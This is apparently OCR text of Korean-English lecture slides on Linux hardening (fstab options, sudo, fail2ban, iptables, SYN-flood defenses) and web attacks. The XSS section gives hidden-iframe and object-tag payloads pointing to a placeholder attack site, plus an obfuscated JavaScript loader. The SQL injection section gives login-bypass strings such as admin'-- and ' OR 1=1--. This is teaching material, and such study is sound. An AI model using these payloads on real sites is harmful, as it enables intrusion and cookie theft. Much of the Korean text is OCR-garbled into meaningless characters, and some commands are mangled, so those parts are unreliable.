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Physical Security

xlock & vlock
L xlock : lock the X-window(X-server)
- Refuse all new server connections
- Screen saver Is disabled
- Mouse cursor is turned off
- Keyboard is locked



Physical Security

xlock & vlock
L vlock : lock the Linux Console
- Lock his or her sessions
while allowing other users to use
- But we cannot defend from...
> Reboot, Shutdown cracking
> Network cracking



Files & File System Security

SUID & SGID
L Don't allow to use these in home dir
- Edit “/etc/fstab” <options>
nosuid
nodev
noexec

i you-momtNetwork fiesystens,
>Edit “/etc/exports” - nodev, nosuid, noexec



Files & File System Security

Limit the resources of File System
L Admin can limit each users’ resources
- Edit "/etc/pam.d/limits.conf”

ex) @users hard core 0
@users hard nproc 50
@users hard rss 5000

> don't allow to make core file

> max_number of proc = 50
> max_memory = 5000 Byte



GRUB B E =

Boot Loader H|2H S M™
#grub

\

GRUB Prompt
grub> md>5crypt
Password ; **##xkex

Encrypted : [Hashed Password is shown here]
grub> quit
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sudo 2} visudo

sudo HEH
root7} Ol AFE X7} root #HotE @ O A OICH

ex) bob boulder=(operator)/bin/ls, (root)/bin/kill,/usr/bin/lprm
bob ALL=(root)NOPASSWD:/usr/local/bin/iwman

visudo= sudoers 5=
> sudoers0f M3l 2 S
> HOF AL vim EEFE visudoE MK}



S8 Irg Lo

chattr & = Of

#chattr +1 file

MYE U LS AHBIALL £HEY 4

#chattr [-RV] [-v version] [+||- mode] files...
modedj|= AS,a,c,DdlijsTtu 7t QULC}.
Details about chattr command



http://linux.die.net/man/1/chattr
http://linux.die.net/man/1/chattr
http://linux.die.net/man/1/chattr
http://linux.die.net/man/1/chattr
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setUID, setGID

SUIDZ} SGIDS| HE& 8l @8 HiX]

T2 =0 LHE 9| setUID Yl setGID at-==09| @&
A 58S B K|Sl Of OJEF.

#vi /etc/fstab

AHI Y 2l Xt(mount option)0f nosuid,nosgid
SMS o)=Lt

>olig = CIHEL| & ohe| CIHEZ|0A suid & sgid £+
2 AHE =7t



=7 =

A 0|L}.

<koISHo], o 271 of [
tE = QISloF =

=
=
—

—

/etc/syslog.conf
HEL N MY



NES-TET
OoH

O{EA M X| mErg = Bl

1. 2E QNS0 HAIXIS #2 §, ¥ 210122
AlZIct,

2. etc 2 0f| nologin O|2t= O|&9| L} S BH=LF.
#touch /etc/nologin

>0| T}UO| EX3H= B, root 0]Q|0] ALRAH= 2010]
2 7h53tCt



TCP wrappers

TCP wrapper?!

TCPZ J|Hto 2 3t Y EQA MH|AO HE dtof 11

H| A (O =)= ddst7| MO, B&5= {82t A|AEQ

OtHX|E =eler F, 21 MY =2EaZ H 71 F,
A
C

JHE Al 2O AABS H BT, TR @42
O —
T =

A
yN!

oM OF > >

L
5He olete siet

#vi /etc/hosts.allow
#vi /etc/hosts.deny
HAle Ch3at 2Lt

Demon_List : Client_List [:options[.options]...]



Da|st [ =St find AL

Find SUID, SGID program(or script)

#find / -type f W( -perm -04000 -o —perm -02000 W)
World-Writable Files

#find / -perm -2 -type | —Is
No user, No group Files

#find / -nouser -0 -nogroup —print

.rhosts (Remote Host Files)
#find /home —name .rhosts -print



O O .
SFXN ArE Aot
= U5 OOl MM, A|AHIO| CtRE= BRE
SER|5E7| 2lBH ..

- Edit "/etc/pam.d/limits.conf”

ex) @users hard core 0

@users hard nproc 50
@users hard rss 5000

> don't allow to make core file
> max_number of proc = 50

> max_memory = 5000 Byte



Permission Hf= 27|

File Permissions
L Read

File : to view contents of a file
Dir : to read a directory

L Write

File : to add to or change a file

Dir : to delete or move files in a dir
L Execute

File : to run a binary program or shell script
Dir : to search in a dir, combined with read permission



Permission Hf= 27|

Modify default permission
L by Using “umask” command
- Checking statement
#umask =S
(check with symbolic prints)
#umask [-p]
(check with octal numbers)




Permission Hf= 27|

Modify default permission
L by Using “umask” command
- Setting by symbols
#umask u=[r][w][x] / owner
#umask g=[r][w][x] / group
#umask o=[r][w][x] / others
- Setting by Octal number
ex) #umask 022







mE A7fY

O U= MHE| ZE ALE ¢

LEAINE EQ nmap= EX|S| A Sl E X}

#apt-get install nmap
#nmap localhost || <server ip>

0|2 E¢, 8| YU BESO| AR HES
4 QICh RO OF = Qi HEOA OfARSH AH|[A T}
Soj7bm QUCHE 2olstm X sfof ShCh



/etc/services

HESR MH[£
mE AT|YOR BEE NH|ATH IR EXfSHE
MH|2 QIX|0f CHofA Of THQ QtoflAf AHObE Bl &

$cat /etc/services | grep port | grep service_name

ex) cat /etc/services | grep 22 | grep ssh

sunquard@sparcs:™y cat fetc/services | grep 22 | grep ssh

ssh 22/tcp # S5H Remote Login Protocol
ssh 22fudp




fail2Zban

0 324 WX
22 A, B 227} n2| O]y S2|H
mz 52 85 AF7 B == ot= £E:LEH

#apt-get install fail2ban
#vi [fetc/fail2ban/jail.conf< 274 I

Al #/etc/init.d/fail2ban start
A X| . #/etc/init.d/fail2ban stop



fail2Zban

fail2ban.conf

enabled = true || false (fail2ban®X £ on/off)
port = GiEEl= MH|AS ZE Z2 0|E
filter = (Mu|AQ| ZE)
logpath = (fail2ban 237} M g|l= 2)
maxretry = (Mof %[cf 2l4)
bantime = (H& A= A|ZHEL : X)
ignoreip = (HSXOA HE7l 2 ip Z=2)

2 (CIDR mask) =2 (DNS host)
destema|l = (fail2ban DA X|2 2t2 2| X}O| O|H| L



fail2Zban

T —

i 0-1-2-18; Jetc/fail2ban

enabled = true

port 33h

filter = szshd

logpath = /var/log/auth.log
Maxretry = 6

ignoreip =
bantime
maxretry = 3 [pam-generic]

enabled = false

filter = pam-generic
1] port = all
banaction = iptables-allports
port anyport
logpath = /var/log/auth.log
ﬂ maxretry = @
-- INSERT --

backend = po




logcheck

202 2Asl0f, BXH HAS EHFE T2

M IO : /etc/logcheck.conf 72 MA
/etc/logcheck.logfiles « Has 21 o
HAN 20 NI HEgs &2 A=

/etc/Iogcheck.conf O A HFE == QILC}

12|10 23 §3E 0|50 Hast 21 nfed=s2
/etc/logcheck.logfiles O A AT = QALY
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XSS

XSS

Cross Site Scriptin

(@]

XSS #[okH 0| &
a9 A}OlE%

XSS 549 7|= #i

Yzl 77| MY




XSS

7|5 SAXOA A=A Lt

o] =
x



XSS

Cookie ?

- 19941 NetscapeQ| A M2 AtE3t 7|=
- Windows XP O|c}

C:#Document and SettingsWUSER_NAMEWCookies

- Windows 7
C:WUsersWUSER_NAMEWAppDatat#tLocal#Microsoft
WWindowsWTemporary Internet Files

- Al : USER_NAME@WEB_PAGE
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Windows » Temporary Internet Files
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XSS

Cookie ?
- 2710l= oEH HEI}?

7|15 B= AMO|ES| &0 ¢l O|F, O AIO|EE ?—E—&E =AY,
F719| MU + FUUSFH=, Of0|C], H|EHZ =

T o™/ -

- daH, 9 F7|E =Yt
A

AO|E Q| 71 Ql=}, & HFHL
‘Ats 23" O] 7ty T =0t ‘Ba*%”h-



XSS

1. iframe Ej1

<iframe scr="ATTACK SITE" width="0" height="0" frameborder="0"> </iframe>

2. object Efj1

<objecet width=0 height=0 style=display:none;type=text/xscriptlet”
Data=mk:@MSITStore:mhtml:.c:#Wnosuchfile.mht!http://ATTACK_SITE> </object>

3. DIV 7| &

<DIV style="position:absolute; left:200; top:90; Z-index:2;" >
<img src="IMAGE" > </DIV>

4. Encoding 7|t

=

= . <script>alert(“test”)</script>
= . <script>alert(String.fromCharCode(116,101,115,116)) </script>

ro o



XSS

5. Obfuscated 7|

<script language="javascript” >

e = '0x00" + '5F;
strl = "%E4%BC%B7%AA%C0%AD ... .. %AA%E2";
str = tmp =",

for(i=0;i<strl.length;i+=3)
{
tmp = unescape(strl.slice(i, i+=3));
str = str + String.fromCharCode((tmp.charCodeAt(0)*e)-127);

document.write(str);
</script>



HFEH ©

OI- I:It?

- 27|0) F2 YBE BX Yl

- A3YE ACO| ALBEE S42RE THIYHC
> XSS A2 A EHE SH0|2E, ATFEQ et 2H
dAZH & O|ROTICHH S=9| tiEE = A= 540|Ct

- HAITO|A HTML Z3Ho| @2 Bh=Ch

- A3YE CYHSHO] SEBt AZICE

- 29 8y L F7IHO HAS Sof oY o




SQL Injection

2. 2790 #1 H|YHS EHof| SQL FES L0 A, InjectionS
Al = kCE

291 Al, BT QI SQL 72
Select * From TABLE_NAME Where MemberID = 'ID" AND
Password = '‘PASSWORD"



SQL Injection

O[Z 7| ot H OZBA Et?

2791 A : admin’--

H| LS A : anything

SQL #t& > Select * From TABLE Where MemberID="admin’--" AND
Password="anything’

= 191 & : admin

H 2 H E: anything’ OR 1=1--

SQL #t& > Select * From TABLE Where MemberID="admin’ AND

Password="anything’ OR 1=1--

ETC...



SQL Injection

Django = 7|2& o 2 SQL Injection 0f CH3}0]
HOF QAT =E3| QICH }X|OF HFAISEX| 2K}



DoS/DDoS Attack

- SYN Flooding
- Ping Flooding
- Ping of Death
- Teardrop / New Tear

- Ol 429 AN AFYLA BCF M TN 7L 2 O
* =

o o
242 742 APAO|CE [X|QF JChD of WS of 3t =
?



DoS/DDoS Attack

[SYN Flooding]

TCP 3-Way Handshaking= 0| &3t &2 % 0|L}.

SYN-ACK !F " ?
ﬂ‘ IF_Q? 5 \ “ﬁ?

SYN Flooding &4

oz

AFA O] AFE
O 1 L- O

=



DoS/DDoS Attack

[SYN Flooding]

g 28

1. Backlog QueueE EHESHA =2{=L}.
2Ol : #sysctl —a | grep syn_backlog [Et|: kb]
S 7}« #sysctl =w net.ipv4d.tcp_max_syn_backlog=1024

2. Syncookies 7| = 7ICt.
0| 7|& 3-Way Handshakingol Xl tNH S CiA HZASICH
TCP headere| E™ HES & OIL{O °F§§} AdNZESE 0|8
St iAo 2, 3-Way Handshaking0| 4& X S 2 O|F0{X|X|
EOH O Ol &2 B2E AHed SEt/tA| B oLt
- 0] 7|s= AFESH| #laliM= HE Aot M0
CONFIG_SYN_COOKIES”} Y2 MEHL| O QIO0{OF StLC}.
Ol : #sysctl —a | grep syncookie
2t #sysctl —w net.ipv4.tcp_syncookies=1



DoS/DDoS Attack

[SYN Flooding]

g 2=

3. connlimit 2 & AX| &, iptablest &M

# iptables -A FORWARD -m recent --name badguy --rcheck
--seconds 300 -j DROP

# iptables -A FORWARD -p tcp --syn --dport 80 -m
connlimit --connlimit-above 30 -m recent --name badguy
--set -} DROP

# iptables -A FORWARD -p tcp --syn --dport 80 -m
connlimit --connlimit-above 30 -j DROP

SlX| Bt connlimit 22 AlE2S 42, €l 00| X| 7} =& =&
K= 22810 HetfXof e F7F dlish o= QILt

O 2|0 = DoS/DDoS &40 Lot OB 2 A& Lt UL

—



IP tables

iptables : chain(net filter)

- INPUT chain
2R SOH=

- OUTPUT chain

: 2Z0|M LH7tE

- FORWARD chain

. 2US FKHE 1)

710

A

=
=)

i,

KON
e
X500
3&&%&?@
0 Y

2000000
.'% ‘%04
O 9

0
A
KA
§&$&*&'
AR

A5008

e,

(XXXXX
R0
X
XX
X0
XXX
900
XXX
XXX
000008
XXX
XXX00K)
o0




IP tables

iptables : options

-A <chain>
<chain>0j| &2 F7|ctC}
-s <ip>

. 71| BXX|7} <ip>Ql TZI0j CHaH

-p <protocol>

: IjZle| =2 E 0| <protocol>Ql uj



IP tables

iptables : options
--sport <port>
. T|20| UK ZEJ} <port>9l TZI0) Cyal X3t}
--dport <port>
. T§22| EAIX| ZEJ} <port>9l TZI0) Cyal X3t}
-i <device>
: input device 7} <device>?Ql TjZl10j| C{5l =& StC}.

-0 <device>

-

-
o

: output device 7} <device>¢Ql mjjZ10j C{jsf X

ol

C}.



IP tables

iptables : options
-j <command>
: Q| RO BHESH Do) ChB K2 WHS B
<command>
ACCEPT : TjZ19| 0| S |7}
DROP : Ijj7l9| 0|52 A&
QUEUE/RETURN

rok
inl

XFM| B AbSHE Firewall 210 E2| AJO|EE X



DoS/DDoS Attack

[SYN Flooding]

(s &

1. netstat —an & =9t =9I
=M -a (Ilstenlng/no listening socket &5 HA|)

-n (hostE =XIE HA|)
BHEH: SYN Flooding 222 1 QICHR 0f @ 22 %ol
SYN IjZl0] 2 ZO|Ct(State £ 22| HAX|E =)
ZAX| : HostE 2RI A iptablesE& 0| 85}0| XEHoHCt

#iptables —A INPUT —s <host ip> —j DROP
#iptables —~A FORWARD —s <host ip> -] DROP
(Th = A[O2 O|H roughtt EE & A)



DoS/DDoS Attack

[SYN Flooding]

netstat State 5. 20] 7}sct <& AME|
| =0 AN H& 2EE 7[ChE|= o Ef

_

SYS-SENT : E9*°| SEIO|AE O S2[AH 0] 80| 4 2 AE

SYS RECEIVED : A|H 7} |4
HkQ} S EF

Sfol o A|

%EFOIOJEE H 8% /4S5
% f0|01'501|71|
Ei

Ral ﬂ.||0 J\l

ESTABLISHED : 3-Way-Handshaking O] 2 El &, 4 Z4El ALE}

FIN-WAIT1, CLOSE-WAIT, FIN-WAITZ :

MHOUM HES S=517| |5 =
=72 QNSO 3| AL Hiof =&

AEOA
S Ef



DoS/DDoS Attack

[SYN Flooding]

netstat State £ 01| 7|-§'o,"_ o Z AME



DoS/DDoS Attack

[Attacks using Ping Test]

o 2
7

e ZHEreE &2, ping testOf| TS0 SES OHA| o £

#cd /proc/sys/net/ipv4
#echo 1 > icmp_echo_ignore_all

#echo 0 > icmp_echo_ignore_all

O|2Z M, ping2 2 SAH5l= DoS/DDoS 542 ofede =+ RULL.

o



DoS/DDoS Attack

[Tear Drop Attack]

IP OjZlo| M&EO| A LI+O{NCHIt CHA| RfZetst= atE el &2 0|8
> offset : 2 E IS MES I AEE|= |2 112l 9
X HEE Egtstn Q= TCP 66 B&

M It LIS WS Q3|3 4 QY| (e
Olatm oE, A|AE AHK|o] A{oFH e Bot
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Ot
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Buffer Overflow
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Buffer Overflow
o 04

A Ol
= 1 NIkEU ?
HI{ QHEZ LIt LaMsts ol o

HIH 37| 12{5}X|

S HiE, g40f YLk,
o7, 42

= 12 220 87|= &
= Z{0| =

214 59|

(ex> gets, strcpy &) AtE

Al'SH
— -1 O

O A 25 2O A

#vi /etc/system

set noexec_user _stack=1
set noexec_user_stack_log=1



The END
There 1Is NO ABSOLUTE SECURITY



